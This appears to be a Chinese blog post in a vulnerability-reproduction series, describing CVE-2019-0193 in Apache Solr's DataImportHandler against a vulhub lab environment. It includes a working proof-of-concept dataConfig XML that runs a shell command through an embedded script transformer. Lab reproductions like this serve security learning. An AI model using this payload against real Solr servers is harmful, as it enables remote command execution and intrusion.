漏洞复现----5、Apache Solr远程命令执行漏洞(CVE-2019-0193)
一、Apache Solr 简介
Solr是基于Lucene的面向企业搜索的web应用,是一个独立的企业级搜索应用服务器。它对外提供类似于Web-service的API接口。
用户可以通过HTTP请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;
也可以通过HTTP GET操作提出查找请求,并得到Xml/json格式的返回结果。
二、漏洞简介
此次漏洞出现在 Apache Solr 的 DataImportHandler ,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于 DIH 配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。
该漏洞的产生是由于两方面的原因:
1、用户在solrconfig.xml文件中设置了DataImportHandler,开启了DataImport功能。
2、DataImportHandler模块允许用户自己包含脚本,来进行配置。
攻击者可以通过构造恶意的脚本交由转换器进行解析,在Solr解析的过程中并未对用户的输入做检查,可导致攻击者远程在Solr服务器上执行命令。
影响版本:
Apache Solr < 8.2.0
三、漏洞利用
启动环境后,创建索引库core:AAAAAA
访问:http://ip:8983
点击Core Selector中的test,复制如下poc到Dataimport的Configuration中,点击 Execute with this Configuration。
在此处选择开启debug模式,如果solr开启了debug,即debug=true,那么就可以通过 http 请求动态的指定dataConfig.xml的内容。
POC:
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
发送数据包后成功收到请求,漏洞命令执行成功:
docker ps -a //查看当前启动的容器
docker exec -it id /bin/bash //使用容器id进入容器
参考链接:
https://solr.apache.org/
https://vulhub.org/#/environments/solr/CVE-2019-0193/
相关文章
- Apache Kylin权威指南3.5 小结
- Hbase报错:org.apache.hadoop.hbase.ipc.ServerNotRunningYetException: Server is not running yet
- 漏洞复现----49、Apache Airflow 身份验证绕过 (CVE-2020-17526)
- 漏洞复现----20、Apache Solr RemoteStreaming 任意文件读取和SSRF
- Apache Solr多个漏洞通告
- Apache OFBiz远程代码执行漏洞通告
- CVE-2020-13957: Apache Solr ConfigSet 文件上传漏洞通告
- CVE-2020-13933: Apache Shiro 权限绕过漏洞分析
- CVE-2020-13948: Apache Superset远程代码执行漏洞
- Apache Tomcat任意文件上传漏洞(CVE-2017-12615)
- 【漏洞复现】Apache Log4j2 远程代码执行漏洞
- 文件解析漏洞——Apache文件解析漏洞
- 腾讯大数据平台Oceanus: A one-stop platform for real time stream processing powered by Apache Flink
- 【Apache RocketMQ】RocketMQ捐赠给Apache那些鲜为人知的故事-转自阿里中间件
- 重现apache commons fileupload DOS漏洞
- 补丁失效!关键Apache Struts漏洞仍被大量利用
- Apache OpenMeetings 5.0.0-M4 发布,视频会议和协作系统
- (vulhub环境搭建+复现)CVE-2021-44228 Apache Log4j 远程代码执行漏洞